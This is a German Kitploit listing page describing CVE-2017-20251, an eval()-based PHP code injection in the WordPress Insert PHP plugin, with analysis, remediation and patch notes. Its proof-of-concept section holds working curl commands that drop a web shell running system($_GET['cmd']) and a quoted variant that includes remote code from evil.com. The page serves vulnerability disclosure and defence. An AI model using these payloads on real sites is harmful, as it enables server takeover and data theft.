Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP-Codeinjektion | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP-Codeinjektion

Repository anzeigen
16vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-20251: PHP-Code-Injection im Insert-PHP-Plugin

Schwachstellentitel

Unauthentifizierte PHP-Code-Injection über Shortcode-Verarbeitung im Insert-PHP-Plugin

Grundlegende Informationen

FeldWert
CVE-IDCVE-2017-20251
PluginInsert PHP (jetzt Woody Code Snippets)
Betroffene Versionen< 3.3.1 (getestet mit 1.3)
CWECWE-94 (Code Injection)
CVSS v3.19.8 (Kritisch)
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
VeröffentlichungÖffentlich (Exploit-DB 41308)

Beschreibung

Das Insert-PHP-Plugin vor Version 3.3.1 erlaubt es entfernten Angreifern, beliebigen PHP-Code über eine Shortcode-Injection-Schwachstelle auszuführen. Das Plugin registriert einen Shortcode [insert_php]...[/insert_php], der den Inhalt zwischen den Shortcode-Tags direkt mit der PHP-Funktion eval() auswertet – ohne jegliche Bereinigung oder Validierung.

Ein Angreifer, der Beiträge erstellen oder bearbeiten kann (über die REST-API, XML-RPC oder mit Zugriff als Beitragsautor/Administrator), kann beliebigen PHP-Code in jede Seite oder jeden Beitrag einschleusen, die deren Inhalt rendert, und so vollständige Remote-Codeausführung auf dem Webserver erlangen.

Technische Analyse

Grundursache

Die Schwachstelle existiert in der Funktion will_bontrager_insert_php(), die als the_content-Filter registriert ist:

// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Hauptprobleme:

  1. Der Shortcode-Inhalt wird ohne jede Bereinigung direkt an eval() übergeben
  2. Es wird keine Authentifizierungs- oder Berechtigungsprüfung durchgeführt
  3. Es wird nicht validiert, dass der Inhalt aus einem legitimen Snippet-Beitrag stammt
  4. Der Filter läuft mit Priorität 9 und verarbeitet Inhalte vor anderen WordPress-Filtern

Angriffsvektor

  1. Erster Zugriff: Der Angreifer erstellt oder bearbeitet einen Beitrag mit bösartigem Inhalt, der den Shortcode [insert_php] enthält
  2. Zustellung: Der Shortcode wird als Beitragsinhalt in der WordPress-Datenbank gespeichert
  3. Ausführung: Wenn ein Benutzer die Seite aufruft, führt WordPress die the_content-Filter aus
  4. Auswirkung: Die eval()-Funktion führt beliebigen PHP-Code auf dem Server aus

Bedingungen für die Ausnutzung

  • WordPress-Seite mit installiertem und aktiviertem Insert-PHP-Plugin in Version < 3.3.1
  • Der Angreifer muss Beiträge erstellen oder bearbeiten können (Rolle als Beitragsautor oder höher)
  • In WordPress < 4.7 erlaubte die REST-API das Erstellen von Beiträgen ohne Authentifizierung (ermöglicht vollständige RCE ohne Anmeldung)
  • In WordPress >= 4.7 ist für das Erstellen von Beiträgen über die REST-API eine Authentifizierung erforderlich

Auswirkungen

Schweregrad: Kritisch

Vollständige Remote-Codeausführung (RCE) auf dem Webserver:

  • Beliebigen PHP-Code auf dem Server ausführen
  • Jede Datei lesen/schreiben, die für den Webserver-Benutzer zugänglich ist
  • Auf Datenbankzugangsdaten aus wp-config.php zugreifen
  • Webshells oder Hintertüren installieren
  • Querzugriff auf andere Systeme
  • Vollständige Kompromittierung von Vertraulichkeit, Integrität und Verfügbarkeit

PoC – Curl-Befehle

Schritt 1: Beitrag mit bösartigem Shortcode erstellen (authentifiziert)

curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Schritt 2: Beitrag aufrufen, um die Codeausführung auszulösen

curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Schritt 3: Codeausführung verifizieren

curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Alternative: Direkter eval()-Test (einfacher Nachweis)

# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Exploit-DB-Referenz (ohne Authentifizierung, WP < 4.7)

Für ältere WordPress-Versionen, in denen die REST-API das Erstellen von Beiträgen ohne Authentifizierung erlaubte:

curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Beispielantwort

Wenn der anfällige Shortcode verarbeitet wird, wird der darin enthaltene PHP-Code von eval() ausgeführt. Für den Marker-Datei-Test:

Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

Empfohlene Behebung

  1. Sofort: Das Insert-PHP-Plugin deinstallieren oder auf Version 3.3.1 oder höher aktualisieren
  2. Alternatives Plugin: Ein modernes Code-Snippet-Plugin wie WPCode verwenden, das sichere Ausführungskontexte nutzt
  3. Falls PHP-Snippets unvermeidbar sind: Sicherstellen, dass nur vertrauenswürdige Administratoren Beiträge erstellen/bearbeiten können, und die REST-API für Nicht-Administratoren deaktivieren
  4. Härtung: Die Konstante DISALLOW_UNFILTERED_HTML setzen (auch wenn dies das Problem nicht vollständig entschärft)

Patch-Analyse

Die gepatchte Version (3.3.1+):

  • Benennt den Shortcode von [insert_php] in [wbcr_php_snippet] um
  • Entfernt die direkte eval()-Nutzung zugunsten eines sicheren Ausführungskontexts
  • Fügt Authentifizierungsprüfungen an REST-API-Endpunkten hinzu
  • Implementiert eine Snippet-ID-Validierung vor der Ausführung

Referenzen

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • WordPress-Plugin-Seite
  • CWE-94: Code Injection
Tool herunterladen